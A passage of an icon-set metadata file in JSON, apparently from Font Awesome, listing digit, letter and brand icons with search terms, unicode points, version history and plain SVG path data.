        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M160 64c0-11.8-6.5-22.6-16.9-28.2s-23-5-32.8 1.6l-96 64C-.5 111.2-4.4 131 5.4 145.8s29.7 18.7 44.4 8.9L96 123.8V416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160V64z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M160 64c0-11.8-6.5-22.6-16.9-28.2s-23-5-32.8 1.6l-96 64C-.5 111.2-4.4 131 5.4 145.8s29.7 18.7 44.4 8.9L96 123.8V416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160V64z"
      }
    },
    "free": ["solid"]
  },
  "2": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Two", "two"]
    },
    "styles": ["solid"],
    "unicode": "32",
    "label": "2",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M142.9 96c-21.5 0-42.2 8.5-57.4 23.8L54.6 150.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L40.2 74.5C67.5 47.3 104.4 32 142.9 32C223 32 288 97 288 177.1c0 38.5-15.3 75.4-42.5 102.6L109.3 416H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L200.2 234.5c15.2-15.2 23.8-35.9 23.8-57.4c0-44.8-36.3-81.1-81.1-81.1z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M142.9 96c-21.5 0-42.2 8.5-57.4 23.8L54.6 150.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L40.2 74.5C67.5 47.3 104.4 32 142.9 32C223 32 288 97 288 177.1c0 38.5-15.3 75.4-42.5 102.6L109.3 416H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L200.2 234.5c15.2-15.2 23.8-35.9 23.8-57.4c0-44.8-36.3-81.1-81.1-81.1z"
      }
    },
    "free": ["solid"]
  },
  "3": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Three", "three"]
    },
    "styles": ["solid"],
    "unicode": "33",
    "label": "3",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H272c13.2 0 25 8.1 29.8 20.4s1.5 26.3-8.2 35.2L162.3 208H184c75.1 0 136 60.9 136 136s-60.9 136-136 136H105.4C63 480 24.2 456 5.3 418.1l-1.9-3.8c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l1.9 3.8c8.1 16.3 24.8 26.5 42.9 26.5H184c39.8 0 72-32.2 72-72s-32.2-72-72-72H80c-13.2 0-25-8.1-29.8-20.4s-1.5-26.3 8.2-35.2L189.7 96H32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H272c13.2 0 25 8.1 29.8 20.4s1.5 26.3-8.2 35.2L162.3 208H184c75.1 0 136 60.9 136 136s-60.9 136-136 136H105.4C63 480 24.2 456 5.3 418.1l-1.9-3.8c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l1.9 3.8c8.1 16.3 24.8 26.5 42.9 26.5H184c39.8 0 72-32.2 72-72s-32.2-72-72-72H80c-13.2 0-25-8.1-29.8-20.4s-1.5-26.3 8.2-35.2L189.7 96H32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "4": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Four", "four"]
    },
    "styles": ["solid"],
    "unicode": "34",
    "label": "4",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M189 77.6c7.5-16 .7-35.1-15.3-42.6s-35.1-.7-42.6 15.3L3 322.4c-4.7 9.9-3.9 21.5 1.9 30.8S21 368 32 368H256v80c0 17.7 14.3 32 32 32s32-14.3 32-32V368h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320V160c0-17.7-14.3-32-32-32s-32 14.3-32 32V304H82.4L189 77.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M189 77.6c7.5-16 .7-35.1-15.3-42.6s-35.1-.7-42.6 15.3L3 322.4c-4.7 9.9-3.9 21.5 1.9 30.8S21 368 32 368H256v80c0 17.7 14.3 32 32 32s32-14.3 32-32V368h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320V160c0-17.7-14.3-32-32-32s-32 14.3-32 32V304H82.4L189 77.6z"
      }
    },
    "free": ["solid"]
  },
  "5": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Five", "five"]
    },
    "styles": ["solid"],
    "unicode": "35",
    "label": "5",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32.5 58.3C35.3 43.1 48.5 32 64 32H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H90.7L70.3 208H184c75.1 0 136 60.9 136 136s-60.9 136-136 136H100.5c-39.4 0-75.4-22.3-93-57.5l-4.1-8.2c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l4.1 8.2c6.8 13.6 20.6 22.1 35.8 22.1H184c39.8 0 72-32.2 72-72s-32.2-72-72-72H32c-9.5 0-18.5-4.2-24.6-11.5s-8.6-16.9-6.9-26.2l32-176z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32.5 58.3C35.3 43.1 48.5 32 64 32H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H90.7L70.3 208H184c75.1 0 136 60.9 136 136s-60.9 136-136 136H100.5c-39.4 0-75.4-22.3-93-57.5l-4.1-8.2c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l4.1 8.2c6.8 13.6 20.6 22.1 35.8 22.1H184c39.8 0 72-32.2 72-72s-32.2-72-72-72H32c-9.5 0-18.5-4.2-24.6-11.5s-8.6-16.9-6.9-26.2l32-176z"
      }
    },
    "free": ["solid"]
  },
  "6": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Six", "six"]
    },
    "styles": ["solid"],
    "unicode": "36",
    "label": "6",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M232.4 84.7c11.4-13.5 9.7-33.7-3.8-45.1s-33.7-9.7-45.1 3.8L38.6 214.7C14.7 242.9 1.1 278.4 .1 315.2c0 1.4-.1 2.9-.1 4.3c0 .2 0 .3 0 .5c0 88.4 71.6 160 160 160s160-71.6 160-160c0-85.5-67.1-155.4-151.5-159.8l63.9-75.6zM256 320A96 96 0 1 1 64 320a96 96 0 1 1 192 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M232.4 84.7c11.4-13.5 9.7-33.7-3.8-45.1s-33.7-9.7-45.1 3.8L38.6 214.7C14.7 242.9 1.1 278.4 .1 315.2c0 1.4-.1 2.9-.1 4.3c0 .2 0 .3 0 .5c0 88.4 71.6 160 160 160s160-71.6 160-160c0-85.5-67.1-155.4-151.5-159.8l63.9-75.6zM256 320A96 96 0 1 1 64 320a96 96 0 1 1 192 0z"
      }
    },
    "free": ["solid"]
  },
  "7": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Seven", "seven"]
    },
    "styles": ["solid"],
    "unicode": "37",
    "label": "7",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H288c11.5 0 22 6.1 27.7 16.1s5.7 22.2-.1 32.1l-224 384c-8.9 15.3-28.5 20.4-43.8 11.5s-20.4-28.5-11.5-43.8L232.3 96H32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H288c11.5 0 22 6.1 27.7 16.1s5.7 22.2-.1 32.1l-224 384c-8.9 15.3-28.5 20.4-43.8 11.5s-20.4-28.5-11.5-43.8L232.3 96H32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "8": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Eight", "eight"]
    },
    "styles": ["solid"],
    "unicode": "38",
    "label": "8",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M304 160c0-70.7-57.3-128-128-128H144C73.3 32 16 89.3 16 160c0 34.6 13.7 66 36 89C20.5 272.3 0 309.8 0 352c0 70.7 57.3 128 128 128h64c70.7 0 128-57.3 128-128c0-42.2-20.5-79.7-52-103c22.3-23 36-54.4 36-89zM176.1 288H192c35.3 0 64 28.7 64 64s-28.7 64-64 64H128c-35.3 0-64-28.7-64-64s28.7-64 64-64h15.9c0 0 .1 0 .1 0h32c0 0 .1 0 .1 0zm0-64c0 0 0 0 0 0H144c0 0 0 0 0 0c-35.3 0-64-28.7-64-64c0-35.3 28.7-64 64-64h32c35.3 0 64 28.7 64 64c0 35.3-28.6 64-64 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M304 160c0-70.7-57.3-128-128-128H144C73.3 32 16 89.3 16 160c0 34.6 13.7 66 36 89C20.5 272.3 0 309.8 0 352c0 70.7 57.3 128 128 128h64c70.7 0 128-57.3 128-128c0-42.2-20.5-79.7-52-103c22.3-23 36-54.4 36-89zM176.1 288H192c35.3 0 64 28.7 64 64s-28.7 64-64 64H128c-35.3 0-64-28.7-64-64s28.7-64 64-64h15.9c0 0 .1 0 .1 0h32c0 0 .1 0 .1 0zm0-64c0 0 0 0 0 0H144c0 0 0 0 0 0c-35.3 0-64-28.7-64-64c0-35.3 28.7-64 64-64h32c35.3 0 64 28.7 64 64c0 35.3-28.6 64-64 64z"
      }
    },
    "free": ["solid"]
  },
  "9": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Nine", "nine"]
    },
    "styles": ["solid"],
    "unicode": "39",
    "label": "9",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 192a96 96 0 1 0 192 0A96 96 0 1 0 64 192zm87.5 159.8C67.1 347.4 0 277.5 0 192C0 103.6 71.6 32 160 32s160 71.6 160 160c0 2.6-.1 5.3-.2 7.9c-1.7 35.7-15.2 70-38.4 97.4l-145 171.4c-11.4 13.5-31.6 15.2-45.1 3.8s-15.2-31.6-3.8-45.1l63.9-75.6z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 192a96 96 0 1 0 192 0A96 96 0 1 0 64 192zm87.5 159.8C67.1 347.4 0 277.5 0 192C0 103.6 71.6 32 160 32s160 71.6 160 160c0 2.6-.1 5.3-.2 7.9c-1.7 35.7-15.2 70-38.4 97.4l-145 171.4c-11.4 13.5-31.6 15.2-45.1 3.8s-15.2-31.6-3.8-45.1l63.9-75.6z"
      }
    },
    "free": ["solid"]
  },
  "42-group": {
    "aliases": {
      "names": ["innosoft"]
    },
    "changes": ["5.15.0", "6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e080",
    "label": "42.group",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96V416C341.011 416 361.818 411.861 381.23 403.821C400.641 395.78 418.28 383.995 433.138 369.138C447.995 354.28 459.78 336.641 467.821 317.23C475.861 297.818 480 277.011 480 256C480 234.989 475.861 214.182 467.821 194.771C459.78 175.359 447.995 157.72 433.138 142.863C418.28 128.005 400.641 116.22 381.23 108.179C361.818 100.139 341.011 96 320 96ZM0 256L160.002 416L320.003 256L160.002 96L0 256ZM480 256C480 277.011 484.138 297.818 492.179 317.23C500.219 336.643 512.005 354.28 526.862 369.138C541.72 383.995 559.357 395.781 578.77 403.821C598.182 411.862 618.989 416 640 416V96C597.565 96 556.869 112.858 526.862 142.863C496.857 172.869 480 213.565 480 256Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 96V416C341.011 416 361.818 411.861 381.23 403.821C400.641 395.78 418.28 383.995 433.138 369.138C447.995 354.28 459.78 336.641 467.821 317.23C475.861 297.818 480 277.011 480 256C480 234.989 475.861 214.182 467.821 194.771C459.78 175.359 447.995 157.72 433.138 142.863C418.28 128.005 400.641 116.22 381.23 108.179C361.818 100.139 341.011 96 320 96ZM0 256L160.002 416L320.003 256L160.002 96L0 256ZM480 256C480 277.011 484.138 297.818 492.179 317.23C500.219 336.643 512.005 354.28 526.862 369.138C541.72 383.995 559.357 395.781 578.77 403.821C598.182 411.862 618.989 416 640 416V96C597.565 96 556.869 112.858 526.862 142.863C496.857 172.869 480 213.565 480 256Z"
      }
    },
    "free": ["brands"]
  },
  "500px": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f26e",
    "label": "500px",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z"
      }
    },
    "free": ["brands"]
  },
  "a": {
    "aliases": {
      "unicodes": {
        "composite": ["61"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter A", "Latin Small Letter A", "letter"]
    },
    "styles": ["solid"],
    "unicode": "41",
    "label": "A",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M221.5 51.7C216.6 39.8 204.9 32 192 32s-24.6 7.8-29.5 19.7l-120 288-40 96c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L93.3 384H290.7l31.8 76.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8l-40-96-120-288zM264 320H120l72-172.8L264 320z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M221.5 51.7C216.6 39.8 204.9 32 192 32s-24.6 7.8-29.5 19.7l-120 288-40 96c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L93.3 384H290.7l31.8 76.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8l-40-96-120-288zM264 320H120l72-172.8L264 320z"
      }
    },
    "free": ["solid"]
  },
  "accessible-icon": {
    "aliases": {
      "unicodes": {
        "composite": ["f29b"]
      }
    },
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "accessibility",
        "handicap",
        "person",
        "wheelchair",
        "wheelchair-alt"
      ]
    },
    "styles": ["brands"],
    "unicode": "f368",
    "label": "Accessible Icon",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z"
      }
    },
    "free": ["brands"]
  },
  "accusoft": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f369",
    "label": "Accusoft",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z"
      }
    },
    "free": ["brands"]
  },
  "address-book": {
    "aliases": {
      "names": ["contact-book"],
      "unicodes": {
        "composite": ["f2ba"],
        "secondary": ["10f2b9"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["contact", "directory", "index", "little black book", "rolodex"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2b9",
    "label": "Address Book",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 0C60.7 0 32 28.7 32 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H96zM208 288h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM512 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80zM496 192c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm16 144c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V336z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 0C60.7 0 32 28.7 32 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H96zM208 288h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM512 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80zM496 192c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm16 144c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V336z"
      },
      "regular": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M384 48c8.8 0 16 7.2 16 16V448c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H384zM96 0C60.7 0 32 28.7 32 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H96zM240 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H336c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H208zM512 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80zM496 192c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm16 144c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V336z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
